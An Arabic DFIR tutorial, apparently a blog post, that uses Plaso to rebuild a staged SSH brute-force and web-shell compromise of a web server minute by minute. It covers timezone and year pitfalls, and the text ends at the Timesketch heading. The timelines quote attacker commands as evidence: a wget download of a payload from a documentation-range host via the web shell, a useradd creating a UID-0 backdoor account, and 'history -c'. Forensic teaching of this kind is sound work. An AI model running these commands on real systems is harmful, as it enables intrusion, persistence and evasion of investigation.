> ## Content Index
> Fetch the complete content index at: https://arabroot.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# الخط الزمني للحادث Timeline مع Plaso وTimesketch
- URL: https://arabroot.io/articles/الخط-الزمني-للحادث-timeline-مع-plaso-و-timesketch/
- Published: 2026-10-26T04:51:36.000Z
- Updated: 2026-10-26T08:20:36.000Z
- Description: بنينا خطاً زمنياً شاملاً لحادثة اختراق سيرفر بأداة Plaso، فأعاد الهجوم بالدقيقة، ثم رفعناه إلى Timesketch وشغلنا محلل تخمين كلمة المرور.
- Author: فريق عرب رووت
- Tags: الأدلة التقنية, الأمن السيبراني, لينكس والسيرفرات, Plaso, Timesketch

تخيل أنك مسؤول التقنية في متجر إلكتروني صغير في الرياض يبيع القهوة وأدواتها، وصلك في الثامنة صباحاً تنبيه من الجدار الناري Firewall بأن أحد سيرفرات الويب اتصل ليلاً بعنوان لا تعرفه، وفتحت السيرفر فوجدت حساباً جديداً اسمه sysmon له صلاحية root، وبرنامجاً يعمل من مجلد مؤقت. وهنا يبدأ العد التنازلي، فالمادة 24 من [اللائحة التنفيذية لنظام حماية البيانات الشخصية](https://sdaia.gov.sa/en/SDAIA/about/Documents/ImplementingRegulation.pdf?ref=arabroot.io) من هيئة البيانات والذكاء الاصطناعي (سدايا) توجب على جهة التحكم أن تبلغ الهيئة المختصة خلال مدة لا تتجاوز 72 ساعة من علمها بالحادثة إذا كانت قد تمس البيانات الشخصية، وأن يتضمن الإبلاغ وصف الحادثة ووقتها وتاريخها ووقت العلم بها. أي أن السؤال لم يعد «هل اخترق السيرفر؟»، وإنما «متى بدأ هذا بالضبط، وكيف دخل، وماذا لمس، وهل وصل إلى بيانات العملاء؟»، وكل جواب من هذه له وقت، والأوقات متفرقة في عشرة ملفات مختلفة على السيرفر.

والجمع بين كل الأحداث التي لها وقت في جدول واحد مرتب هو ما يسمى الخط الزمني Timeline، وأقوى صورة منه تجمع كل المصادر في جدول واحد يسمى الخط الزمني الشامل Super Timeline. وفي دليل [أدوات التحقيق الرقمي مفتوحة المصدر](https://arabroot.io/articles/%D8%A7%D8%AF%D9%88%D8%A7%D8%AA-%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1/) بنينا أبسط خط زمني بأداة The Sleuth Kit من أوقات الملفات وحدها، ووعدنا بمقال نبني فيه خطاً زمنياً شاملاً من كل مصادر السيرفر، وهذا هو المقال. سوف نأخذ حادثة مزروعة في مختبر على جهاز واحد، ونبني منها خطاً زمنياً بأداة Plaso، ونقرأ كل سطر لنعرف ماذا حدث ومتى، ثم نرفع الناتج إلى Timesketch حيث يبحث الفريق كله ويشغل محللات Analyzers جاهزة، ونرى بأعيننا متى ينجح التحليل الآلي ومتى يخطئ.

📚

المواضيع في السلسلة: (1) التحقيق الرقمي والاستجابة للحوادث DFIR للمبتدئين. (2) أدوات التحقيق الرقمي مفتوحة المصدر. (3) البحث عن آثار الاختراق مع Velociraptor. (4) تحليل الذاكرة Memory Forensics مع Volatility 3\. (5) الخط الزمني للحادث Timeline مع Plaso وTimesketch (الموضوع الحالي). (6) فحص سيرفر Linux مخترق دون أن تفسد الأدلة.

[![](https://arabroot.io/content/images/2026/10/dfir-basics-cover-cover.webp)دليلالتحقيق الرقمي DFIR للمبتدئين: احفظ الأدلة قبل أن تنظف السيرفرماذا تفعل عندما تشك أن سيرفرك مخترق، ولماذا تمسح إعادة التشغيل والتنظيف الأدلة التي تحتاجها لتعرف ما حدث.](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86-dfir/)[![](https://arabroot.io/content/images/2026/10/forensics-tools-cover-cover.webp)دليلأدوات التحقيق الرقمي مفتوحة المصدر وكيف تستخدمهاالأدوات المفتوحة التي تحتاجها في كل مرحلة من التحقيق الرقمي، من نسخ القرص واسترجاع ملف محذوف إلى بناء خط زمني لما حدث.](https://arabroot.io/articles/%D8%A7%D8%AF%D9%88%D8%A7%D8%AA-%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1/)[![](https://arabroot.io/content/images/2026/10/velociraptor-lab-cover-cover.webp)دليلالبحث عن آثار الاختراق Hunt في كل سيرفراتك مع Velociraptorبنينا سيرفر Velociraptor وثلاثة عملاء وبحثنا عن آثار اختراق مزروعة بسبع عمليات Hunt، فظهر ما وجدته الأداة وما فاتها بإعداداتها الافتراضية.](https://arabroot.io/articles/%D8%A7%D9%84%D8%A8%D8%AD%D8%AB-%D8%B9%D9%86-%D8%A7%D8%AB%D8%A7%D8%B1-%D8%A7%D9%84%D8%A7%D8%AE%D8%AA%D8%B1%D8%A7%D9%82-%D9%81%D9%8A-%D9%83%D9%84-%D8%A7%D9%84%D8%B3%D9%8A%D8%B1%D9%81%D8%B1%D8%A7%D8%AA-%D9%85%D8%B9-velociraptor/)[![](https://arabroot.io/content/images/2026/10/volatility-lab-cover-cover.webp)دليلتحليل ذاكرة الجهاز Memory Forensics مع Volatility 3حللنا نسختي ذاكرة رسميتين من سيرفر Debian وجهاز Windows 10، فاستخرجنا البرامج والاتصالات وأوامر Bash، ورأينا أين تخطئ malfind.](https://arabroot.io/articles/%D8%AA%D8%AD%D9%84%D9%8A%D9%84-%D8%B0%D8%A7%D9%83%D8%B1%D8%A9-%D8%A7%D9%84%D8%AC%D9%87%D8%A7%D8%B2-memory-forensics-%D9%85%D8%B9-volatility-3/)

وسوف نناقش في هذا المقال ما يلي:

- لماذا لا تكفي قراءة السجلات واحداً واحداً، وما الذي يضيفه الخط الزمني الشامل Super Timeline.
- الحادثة التي سوف نحقق فيها، وكيف جمعنا أدلتها في المختبر.
- كيف يعمل Plaso من الداخل: المحللات Parsers وملف التخزين Storage وأداة الإخراج psort.
- أول تشغيل خرج ناقصاً، وكيف اكتشفنا أن Plaso ترك سجل خادم الويب Apache كاملاً، ولماذا.
- قراءة الخط الزمني سطراً سطراً حتى نعيد بناء الهجوم بالدقيقة.
- فخ المنطقة الزمنية Timezone وفخ السنة، وهما أكثر خطأين في أوقات التحقيق.
- رفع الناتج إلى Timesketch، والبحث فيه، وتشغيل محلل تخمين كلمة المرور Brute Force.
- الحالة التي أعطى فيها التحليل الآلي نتيجة خاطئة، ولماذا، وكيف اكتشفناها.
- متى يكفيك CSV ومتى تحتاج Timesketch، والموارد والبديل التجاري، وقائمة تحقق قبل أي قضية.

## لماذا لا تكفي قراءة السجلات واحداً واحداً؟

لو فتحت سجل الدخول `auth.log` وحده لرأيت محاولات دخول فاشلة ثم دخولاً ناجحاً، ولكنك لن تعرف أن المهاجم بعد الدخول بدقائق رفع ملفاً في مجلد خادم الويب، لأن ذلك في سجل آخر هو سجل Apache. ولو فتحت سجل Apache وحده لرأيت طلباً غريباً باسم `avatar.php`، ولكنك لن تعرف متى أنشئ هذا الملف على القرص، لأن ذلك في أوقات نظام الملفات. والمحقق الذي يفتح كل سجل في نافذة مستقلة يقضي وقته في القفز بين النوافذ ومحاولة ترتيب الأوقات في رأسه، وهذا بالضبط ما يجعله يفوت الرابط بين حدثين متباعدين في الملفات ومتجاورين في الوقت.

والخط الزمني الشامل يحل هذه المشكلة بفكرة واحدة: خذ كل مصدر له وقت على السيرفر، حول كل حدث فيه إلى سطر واحد له وقت موحد ووصف، ثم رتب كل الأسطر من كل المصادر بالوقت في جدول واحد. فيصبح سطر «أنشئ ملف avatar.php» مباشرة تحت سطر «طلب POST على avatar.php» وفوق سطر «نفذ أمر عبر avatar.php»، فتقرأ الهجوم كما حدث لا كما توزع على الملفات. والصورة التالية تبين الأسئلة التي يجيب عنها هذا الترتيب:

والفكرة ليست جديدة، فقد عرضها فريق SANS في منهجية التحقيق تحت اسم Super Timeline، وبنى عليها Kristinn Gudjonsson أداة log2timeline الأولى بلغة Perl عام 2009، ثم أعيدت كتابتها بالكامل بلغة Python فصارت Plaso التي نستخدمها اليوم. والسبب الذي دفع إلى هذه المنهجية أن التحقيقات الكبيرة كانت تضيع في عشرات الأدوات، كل أداة تقرأ مصدراً وتعطي وقتاً بصيغة مختلفة، فكان المحقق يقضي أغلب وقته في توحيد الصيغ وترتيب الأوقات يدوياً قبل أن يبدأ التحليل أصلاً، والخط الزمني الشامل نقل هذا العمل الممل المعرض للخطأ إلى الأداة، وترك للمحقق العمل الذي يحتاج عقله: قراءة القصة واستنتاج ما حدث.

![خمسة أسئلة عن الحادثة إلى جانب مصادرها على السيرفر، وساعة 72 ساعة للإبلاغ](https://arabroot.io/content/images/2026/10/timeline-plaso-01-questions.webp)

كل سؤال في صباح الحادثة يحتاج مصدراً مختلفاً، والجواب في ترتيبها معاً بالوقت

ولاحظ السؤال الأول في الصورة، فالإبلاغ خلال 72 ساعة يطلب وقت الحادثة بالضبط، وهذا رقم تكتبه في تقرير رسمي، فلا يصح أن يكون تقديراً من الذاكرة، وإنما مستخرجاً من دليل، ومكتوباً معه مصدره ومنطقته الزمنية كما سوف نرى.

## الحادثة التي سوف نحقق فيها

بنينا في المختبر أدلة سيرفر ويب باسم `web01` يمثل سيرفر المتجر، وفيه الملفات التي يتركها هجوم حقيقي من هذا النوع، كلها في شجرة مجلدات واحدة جمعناها كما تجمعها أداة فرز Triage من سيرفر حي:

- سجل الدخول `/var/log/auth.log` فيه حركة عادية، ثم ثمانية عشر محاولة دخول فاشلة متتالية من عنوان واحد لمستخدم admin، ثم محاولة فاشلة لـ root، ثم دخول ناجح لحساب deploy من العنوان نفسه، ثم أمر `sudo` أنشأ حساباً جديداً.
- سجل خادم الويب `/var/log/apache2/access.log` فيه زيارات عادية، ثم طلب POST رفع ملف `avatar.php`، ثم طلبان نفذا أوامر عبره.
- ملف Web Shell في `/var/www/html/uploads/avatar.php`، وبرنامج سقط في `/var/tmp/.cache/kworkerd`، ومهمة Cron في `/etc/cron.d/sysupdate`، وسجل أوامر deploy، وكل ملف منها بوقت تعديل في نافذة الهجوم.

⚠️

كل عناوين الهجوم من نطاقات التوثيق التي لا توجد على الإنترنت: العنوان المهاجم 203.0.113.45 من النطاق المحجوز للأمثلة، وعنوان التنزيل 198.51.100.23 كذلك، والبرنامج المزروع ملف فارغ لا يفعل شيئاً. والهدف أن نبني خطاً زمنياً من ملفات حقيقية الشكل، دون أي هجوم على جهة خارجية، فالعمل كله على جهاز واحد.

ولاحظ أننا نعمل على نسخة من الأدلة، لا على السيرفر الحي، وهذا مبدأ شرحناه في [دليل التحقيق الرقمي للمبتدئين](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86-dfir/): يحسب هاش للأدلة أولاً، ثم يعمل على النسخة، فبناء الخط الزمني عملية قراءة فقط لا تغير شيئاً في الأدلة.

## كيف يعمل Plaso من الداخل؟

Plaso، واسم أداتها الرئيسية `log2timeline`، مشروع مفتوح المصدر برخصة [Apache-2.0](https://github.com/log2timeline/plaso/blob/main/LICENSE?ref=arabroot.io)، وآخر إصدار مستقر له [20261025](https://github.com/log2timeline/plaso/releases/tag/20261025?ref=arabroot.io) صدر في 25 أكتوبر 2026، والمشروع نشط فآخر تعديل على كوده كان في اليوم نفسه. وفكرته أن يقرأ عشرات المصادر المختلفة، من سجلات النظام إلى سجل المتصفح إلى سجل أحداث Windows، ويحولها كلها إلى أحداث موحدة في ملف واحد، والصورة التالية تبين مراحله:

![مراحل Plaso الخمس من المصدر إلى المحللات إلى ملف التخزين إلى الإخراج](https://arabroot.io/content/images/2026/10/timeline-plaso-02-pipeline.webp)

log2timeline يقرأ ويحلل ويخزن، وpsort يرشح ويحول المنطقة الزمنية ويخرج

والفكرة المهمة أن كل سطر في أي سجل، وكل وقت على أي ملف، يتحول إلى حدث Event له ثلاثة أشياء: وقت واحد بصيغة موحدة بتوقيت UTC داخلياً، ونوع بيانات `data_type` يقول من أين جاء مثل `syslog:ssh:login`، ووصف للوقت `timestamp_desc` يقول أي وقت هذا، فالملف الواحد له وقت إنشاء ووقت تعديل ووقت وصول، وكل واحد منها حدث مستقل. وهذا هو ما يجعل الخط الزمني أقوى من قائمة الملفات، فهو لا يضع الملف مرة واحدة، وإنما يضع كل لحظة لمسه فيها أحد في مكانها من القصة.

وأوقات الملفات هذه لها اختصار يعرفه كل محقق هو MACB، وهي أربعة أوقات: وقت التعديل Modified عند تغيير محتوى الملف، ووقت الوصول Accessed عند قراءته، ووقت تغيير البيانات الوصفية Changed عند تغيير صلاحياته أو اسمه، ووقت الإنشاء Born أو Created. ولماذا هي مهمة في الهجوم؟ لأن المهاجم الذي ينسخ برنامجاً خبيثاً يترك وقت إنشاء جديداً على القرص، والذي يعدل ملف إعداد يترك وقت تعديل، والذي يقرأ ملف كلمات المرور يترك وقت وصول. ولذلك سطر `filestat` في الخط الزمني يضع كل واحد من هذه الأوقات في مكانه، فترى لحظة إنشاء الـ Web Shell منفصلة عن لحظة قراءته لاحقاً. ولاحظ أن بعض المهاجمين يزورون هذه الأوقات عمداً Timestomping ليجعلوا الملف يبدو قديماً، وعندها يختلف وقت نظام الملفات الظاهر عن الوقت المسجل في بنية `$MFT` في NTFS أو في بنية inode في ext4، وهذا اختلاف يكشفه مقارنة المصدرين، وهو من الأسباب التي تجعلك لا تعتمد على وقت واحد من مصدر واحد.

وكيف يقرأ Plaso كل هذه المصادر المختلفة من نسخة قرص أو مجلد؟ يستخدم مكتبة اسمها dfVFS، وهي طبقة تعرف كيف تفتح أنظمة الملفات (NTFS وext4 وFAT وغيرها) وأنواع النسخ (نسخة خام، أو E01، أو QCOW) وتعطي Plaso الملفات بداخلها دون أن يحتاج هو إلى معرفة تفاصيل كل نظام ملفات. وهذا يعني أنك تعطيه نسخة قرص كاملة بامتدادها، فيفتحها ويمشي في شجرة ملفاتها ويمرر كل ملف على المحللات المناسبة، أو تعطيه مجلداً مجموعاً من الفرز كما فعلنا نحن. ثم يأتي دور المحللات، وكل محلل متخصص في صيغة واحدة: محلل يفهم صيغة سطر syslog، وآخر يفهم صيغة سجل Apache، وآخر يقرأ قاعدة بيانات سجل متصفح Chrome، وهكذا، والقائمة الكاملة في [توثيق المحللات](https://plaso.readthedocs.io/en/latest/sources/user/Parsers-and-plugins.html?ref=arabroot.io).

شغلنا Plaso من Docker Image الرسمية كما يوصي [توثيق التثبيت](https://plaso.readthedocs.io/en/latest/sources/user/Installing-with-docker.html?ref=arabroot.io)، وربطنا مجلد الأدلة ومجلد العمل، وبدأنا بأبسط أمر ممكن، أي أن نعطيه مجلد الأدلة كاملاً ونتركه يقرر كل شيء بنفسه:

```bash
docker run --rm -v "$PWD":/data log2timeline/plaso:20261025 \
  log2timeline.py --status_view none --storage-file /data/case.plaso /data/evidence/web01
```

انتهى الأمر في ثوان، وأنشأ ملف `case.plaso`، وهو قاعدة بيانات SQLite فيها كل الأحداث. ولنعرف ماذا وجد فيه استخدمنا أداة `pinfo.py` التي تلخص محتوى الملف:

```bash
docker run --rm -v "$PWD":/data log2timeline/plaso:20261025 pinfo.py /data/case.plaso
```

```text
Data type name : Number of events
                 syslog:line : 2
syslog:ssh:failed_connection : 19
            syslog:ssh:login : 1
         syslog:sudo:command : 1
************************* Events generated per parser **************************
Parser (plugin) name : Number of events
            filestat : 54
  syslog_traditional : 23
```

في المخرج أعلاه لاحظ التالي:

- محلل `filestat` أنتج 54 حدثاً، وهي أوقات الملفات: لكل ملف وقت إنشاء ووقت تعديل ووقت وصول، فأوقات الملفات وحدها تعطيك عشرات الأحداث.
- محلل `syslog_traditional` قرأ سجل الدخول فأنتج 23 حدثاً: تسع عشرة محاولة فاشلة، ودخول ناجح، وأمر sudo، وسطرين عامين.
- سجل Apache غائب تماماً، فلا يوجد أي حدث من نوع `apache:access`، مع أن الملف موجود في الأدلة وقرأه `filestat`. وهذا هو أول درس عملي في هذا المقال.

### السجل الغائب: لماذا ترك Plaso سجل Apache؟

جرب أن تشغل المحلل نفسه على ملف Apache وحده، وسوف يعمل:

```bash
docker run --rm -v "$PWD":/data log2timeline/plaso:20261025 \
  log2timeline.py --status_view none --storage-file /data/ap.plaso \
  /data/evidence/web01/var/log/apache2/access.log
```

وعند فحص الناتج تجد `apache_access : 5`، أي أنه قرأ الطلبات الخمسة. إذاً المحلل موجود ويعمل، فلماذا تجاهل الملف عندما أعطيناه المجلد كاملاً؟ الجواب في سطر واحد من `pinfo.py -v`:

```text
Parser filter expression : linux
Operating system        : Linux
```

عندما تعطي Plaso مجلداً أو نسخة قرص، فإنه يكتشف نظام التشغيل، ثم يختار مجموعة محللات جاهزة Preset تناسبه، كما يشرح [توثيق المحللات](https://plaso.readthedocs.io/en/latest/sources/user/Parsers-and-plugins.html?ref=arabroot.io). والمجموعة `linux` تضم محللات نظام Linux المعتادة مثل syslog وbash وutmp، ولكنها لا تضم محلل سجلات خادم الويب، والسبب المعقول أن خادم الويب قد لا يكون موجوداً على كل سيرفر Linux. أما عندما أعطيناه الملف الواحد فلم يكتشف نظاماً فجرب كل المحللات، فطابق `apache_access`. والحل أن نحدد المحللات بأنفسنا: المجموعة `linux` مع محلل Apache صراحة:

```bash
docker run --rm -v "$PWD":/data log2timeline/plaso:20261025 \
  log2timeline.py --status_view none --parsers "linux,text/apache_access" \
  --storage-file /data/case.plaso /data/evidence/web01
```

وبعد هذا التشغيل أصبح في الملف 82 حدثاً، منها الطلبات الخمسة لسجل Apache. والدرس هنا أهم من الأمر نفسه: الخط الزمني لا يكون شاملاً لأن الأداة اسمها «شامل»، وإنما لأنك تأكدت من أن كل مصدر مهم دخل فيه. فبعد كل تشغيل اقرأ `pinfo.py` واسأل: أين سجل خادم الويب؟ أين سجل قاعدة البيانات؟ أين سجل الجدار الناري؟ فالمصدر الذي لا يدخل الخط الزمني لن يذكرك أحد بغيابه، وقد تبني عليه استنتاجاً خاطئاً بأن شيئاً لم يحدث لأنك لم تره.

💡

يمكنك أن ترى كل المحللات المتاحة بالأمر `log2timeline.py --parsers list`، وأسماء المجموعات الجاهزة في نهاية القائمة، ومنها `win7` و`macos` و`webhist` لسجلات المتصفحات. وعلى قرص حقيقي بمئات الجيجابايت، تحديد المحللات التي تحتاجها فقط يوفر ساعات، لأن الأداة لا تجرب كل محلل على كل ملف.

## قراءة الخط الزمني سطراً سطراً

الآن نخرج الأحداث جدولاً بأداة `psort.py`، التي ترتب الأحداث وترشحها وتحول منطقتها الزمنية وتكتبها بالصيغة التي تريد. استخدمنا صيغة `dynamic` التي تعطي جدول CSV، وطلبنا الأحداث في نافذة ساعة حول الحادثة فقط، بلغة الترشيح التي يشرحها [توثيق مرشحات الأحداث](https://plaso.readthedocs.io/en/latest/sources/user/Event-filters.html?ref=arabroot.io):

```bash
docker run --rm -v "$PWD":/data log2timeline/plaso:20261025 \
  psort.py --status_view none -o dynamic --output_time_zone UTC \
  -w /data/timeline.csv /data/case.plaso \
  "date > DATETIME('2026-10-20T02:00:00') AND date < DATETIME('2026-10-20T03:00:00')"
```

خرج الجدول بستة وثلاثين سطراً هي كل ما جرى في تلك الساعة، وهذه أهم أسطره بعد اختصار الأعمدة إلى الوقت والوصف والمصدر:

```text
datetime,timestamp_desc,source_long,message
2026-10-20T02:11:11+00:00,Content Modification Time,SSH Log,Unsuccessful connection of user: admin (invalid user) from 203.0.113.45:40001 ... ssh pid: 201
...
2026-10-20T02:12:05+00:00,Content Modification Time,SSH Log,Unsuccessful connection of user: root from 203.0.113.45:40219 ... ssh pid: 231
2026-10-20T02:12:41+00:00,Content Modification Time,SSH Log,Successful login of user: deploy from 203.0.113.45:40320 ... ssh pid: 240
2026-10-20T02:13:05+00:00,Recorded Time,Apache Access Log,http_request: POST /uploads/avatar.php HTTP/1.1 from: 203.0.113.45 code: 200
2026-10-20T02:13:05+00:00,Content Modification Time,File stat,OS:/.../var/www/html/uploads/avatar.php Type: file
2026-10-20T02:13:22+00:00,Recorded Time,Apache Access Log,http_request: GET /uploads/avatar.php?c=id HTTP/1.1 from: 203.0.113.45 code: 200
2026-10-20T02:13:55+00:00,Recorded Time,Apache Access Log,http_request: GET /uploads/avatar.php?c=wget%20http://198.51.100.23/k%20-O%20/var/tmp/.cache/kworkerd ...
2026-10-20T02:13:58+00:00,Content Modification Time,File stat,OS:/.../var/tmp/.cache/kworkerd Type: file
2026-10-20T02:14:02+00:00,Content Modification Time,sudo log,Command: /usr/sbin/useradd -o -u 0 -g 0 sysmon run by: deploy as: root ...
2026-10-20T02:14:30+00:00,Content Modification Time,File stat,OS:/.../etc/cron.d/sysupdate Type: file
```

اقرأ هذه الأسطر من أعلى إلى أسفل تحصل على القصة كاملة، والصورة التالية تجمعها في خط زمني مرئي:

![خط زمني عمودي للهجوم على web01 من ثلاثة مصادر مختلفة اجتمعت بالوقت](https://arabroot.io/content/images/2026/10/timeline-plaso-03-timeline.webp)

كل سطر من مخرج psort الحقيقي، وثلاثة مصادر مختلفة اجتمعت في قصة واحدة

في الخط الزمني أعلاه لاحظ التالي، وهذا هو جوهر التحقيق:

- **البداية في 02:11:11:** تسع عشرة محاولة فاشلة متتالية من العنوان 203.0.113.45 خلال أقل من دقيقة، كل واحدة بمنفذ مصدر مختلف، وهذا نمط تخمين كلمة المرور Brute Force الواضح، فالإنسان لا يكتب كلمة مرور تسع عشرة مرة في دقيقة.
- **الدخول الناجح في 02:12:41:** بعد سلسلة الفشل، نجح الدخول لحساب deploy من العنوان المهاجم نفسه، فالحساب المستهدف ضعف كلمة مروره، وهذه أول نقطة سيطرة للمهاجم.
- **رفع الـ Web Shell في 02:13:05:** هنا تظهر قوة الخط الزمني الشامل، فسطر طلب POST من سجل Apache يقع في اللحظة نفسها التي يقول فيها سطر `filestat` إن ملف `avatar.php` أنشئ على القرص. مصدران مستقلان يؤكدان الحدث نفسه في الثانية نفسها، وهذا ما يجعل الاستنتاج قوياً أمام أي مراجعة.
- **التنفيذ عبر الـ Web Shell:** في 02:13:22 نفذ الأمر `id` عبر الملف، ثم في 02:13:55 أمر تنزيل برنامج من 198.51.100.23، وبعده بثلاث ثوان في 02:13:58 يقول `filestat` إن البرنامج `kworkerd` سقط على القرص. السبب والنتيجة متجاوران.
- **التصعيد والثبات:** في 02:14:02 أمر `sudo` أنشأ الحساب sysmon برقم UID صفر، أي حساب root ثان، وفي 02:14:30 أنشئت مهمة Cron التي تعيد تشغيل البرنامج، وهذا هو الثبات Persistence.

انتبه إلى العمود `timestamp_desc`، فهو يقول أي وقت هذا بالضبط: أسطر SSH وsudo تحمل `Content Modification Time` لأن الوقت جاء من داخل السجل، وأسطر Apache تحمل `Recorded Time`، وأسطر الملفات تحمل أوقات نظام الملفات. وهذا مهم في التقرير، فأن تقول «أنشئ الملف في 02:13:05» يختلف عن «وصل إليه أحد في 02:13:05»، والعمود يميز بينهما. وماذا عن السؤال الخامس، هل وصل المهاجم إلى بيانات العملاء؟ الخط الزمني لهذا السيرفر لا يجيب عنه، والسبب أن قاعدة البيانات على سيرفر آخر هو db01، وسجلاتها ليست في الأدلة التي جمعناها. وهذا جواب صادق يجب أن يكتب في التقرير كما هو: الأدلة على web01 تظهر سيطرة كاملة على السيرفر، ولا تثبت ولا تنفي الوصول إلى قاعدة البيانات، والخطوة التالية جمع سجلات db01 وإضافتها خطاً زمنياً ثانياً في القضية نفسها. ولاحظ أيضاً أن أمر التنزيل في سجل Apache يعطيك مؤشر اختراق IOC جديداً هو العنوان 198.51.100.23، تبحث عنه الآن في سجلات الجدار الناري والسيرفرات الأخرى.

## فخ المنطقة الزمنية وفخ السنة

أخطر الأخطاء في أوقات التحقيق أخطاء لا تظهر كرسالة خطأ، وإنما كرقم صحيح الشكل في مكانه الخطأ. وفي أوقات السجلات فخان أساسيان، جربناهما في المختبر لنريك أثرهما.

### المنطقة الزمنية: سجل الرياض ليس بتوقيت UTC

سجل syslog التقليدي يكتب الوقت المحلي للسيرفر بلا منطقة زمنية، أي يكتب `Oct 20 02:12:41` دون أن يقول إن كانت هذه الساعة بتوقيت الرياض أم UTC. فإذا كان سيرفرك في الرياض يعمل بالتوقيت المحلي (+03:00)، فإن 02:12:41 في السجل هي 23:12:41 من اليوم السابق بتوقيت UTC. وPlaso لا يعرف منطقة السيرفر من السجل نفسه، فهو يفترض UTC إن لم تخبره، لذلك يجب أن تعرف منطقة السيرفر الأصلي وتعطيها للأداة بالخيار `--timezone`. جربنا السجل نفسه مرة بافتراض أنه بتوقيت الرياض:

```bash
docker run --rm -v "$PWD":/data log2timeline/plaso:20261025 \
  log2timeline.py --status_view none --timezone Asia/Riyadh \
  --storage-file /data/tz.plaso /data/evidence/tz/auth.log
docker run --rm -v "$PWD":/data log2timeline/plaso:20261025 \
  psort.py --status_view none -o dynamic --output_time_zone UTC -w /data/tz.csv /data/tz.plaso
```

```text
2026-10-19T23:12:41.000000+00:00,Content Modification Time,SSH Log,Successful login of user: deploy from 203.0.113.45:40320 ...
```

لاحظ النتيجة: الدخول الذي كان يظهر في 02:12:41 أصبح الآن 23:12:41 من يوم 19 أكتوبر بتوقيت UTC، أي أن الحادثة في الحقيقة قبل منتصف ليل التاريخ الذي ظننته بثلاث ساعات. تخيل أثر هذا في تقرير رسمي يربط الحادثة بسجل كاميرا أو بسجل مزود السحابة أو بشهادة موظف، فالفرق ثلاث ساعات ويوم مختلف. ولذلك القاعدة: اعرف منطقة الجهاز الأصلي أولاً، واكتبها في التقرير، وأخرج كل شيء بتوقيت UTC موحد حتى تربط المصادر ببعضها. وقد شرحنا UTC والمناطق الزمنية والتقويم الهجري وأخطاءها الشائعة في [دليل التاريخ والوقت](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%A7%D8%B1%D9%8A%D8%AE-%D9%88%D8%A7%D9%84%D9%88%D9%82%D8%AA-utc-%D9%88%D8%A7%D9%84%D9%85%D9%86%D8%A7%D8%B7%D9%82-%D8%A7%D9%84%D8%B2%D9%85%D9%86%D9%8A%D8%A9-%D9%88%D8%A7%D9%84%D8%AA%D9%82%D9%88%D9%8A%D9%85-%D8%A7%D9%84%D9%87%D8%AC%D8%B1%D9%8A/).

### السنة: syslog لا يكتبها أصلاً

الفخ الثاني أدق: سجل syslog التقليدي لا يكتب السنة إطلاقاً، فالسطر يبدأ بالشهر واليوم والساعة فقط `Oct 20 02:12:41`. فمن أين تأتي السنة التي رأيتها في الخط الزمني؟ Plaso يقدرها، وطريقته أذكى مما يظن كثيرون: فهو لا يأخذ سنة وقت تعديل الملف مباشرة، وإنما يستخدم ما يسميه `DateLessLogHelper`، أي أنه يقدر السنة من سياق السجل نفسه ومن أوقات الملف معاً. جربنا ذلك فغيرنا وقت تعديل ملف السجل إلى عام 2028 وأعدنا التشغيل، وبقيت السنة 2026 الصحيحة، أي أن Plaso لم ينخدع بوقت الملف وحده.

ومع ذلك، لا تعتمد على التقدير في رقم مهم، فالسجل الذي يمتد عبر رأس السنة، أو الملف الذي نسخ ففقد وقته الأصلي، يربك هذا التقدير. والحل أن تعطي Plaso السنة صراحة بالخيار `--preferred_year` عندما تعرفها من مصدر آخر:

```bash
log2timeline.py --preferred_year 2026 --timezone Asia/Riyadh \
  --storage-file /data/case.plaso /data/evidence/web01
```

وتبقى القاعدة التي تكررها كل أقسام هذا المقال: أي رقم سوف يدخل تقريراً رسمياً يجب أن تعرف من أين جاءت كل خانة فيه، فالساعة من أين، والمنطقة الزمنية من أين، والسنة من أين. والأداة تساعدك، ولكنها لا تتحمل المسؤولية بدلاً منك.

### سجل Bash: أوقات قد تكون قديمة

وهناك حالة ثالثة لطيفة في سجل أوامر Bash. فإذا كان السيرفر يحفظ أوقات الأوامر (الإعداد `HISTTIMEFORMAT`)، فإن Plaso يقرؤها بمحلل `bash_history`:

```text
2026-10-20T02:12:41+00:00,Content Modification Time,Bash History,Command executed: id
2026-10-20T02:13:50+00:00,Content Modification Time,Bash History,Command executed: wget http://198.51.100.23/k -O /var/tmp/.cache/kworkerd
2026-10-20T02:14:02+00:00,Content Modification Time,Bash History,Command executed: useradd -o -u 0 -g 0 sysmon
2026-10-20T02:14:20+00:00,Content Modification Time,Bash History,Command executed: history -c
```

هنا ترى أمر `history -c` في آخر السطور، وهو محاولة المهاجم مسح سجله، ولكنها تمسح ذاكرة الجلسة لا الملف الذي كتب قبلها، فبقيت أوامره. ولكن انتبه: إذا لم يحفظ السيرفر الأوقات، فإن كل الأوامر تأخذ وقتاً واحداً هو وقت تعديل الملف، فلا تبن ترتيباً زمنياً على سجل Bash بلا أوقات، واستخدمه عندها كقائمة أوامر لا كخط زمني.

## عندما يكبر الخط الزمني: Timesketch

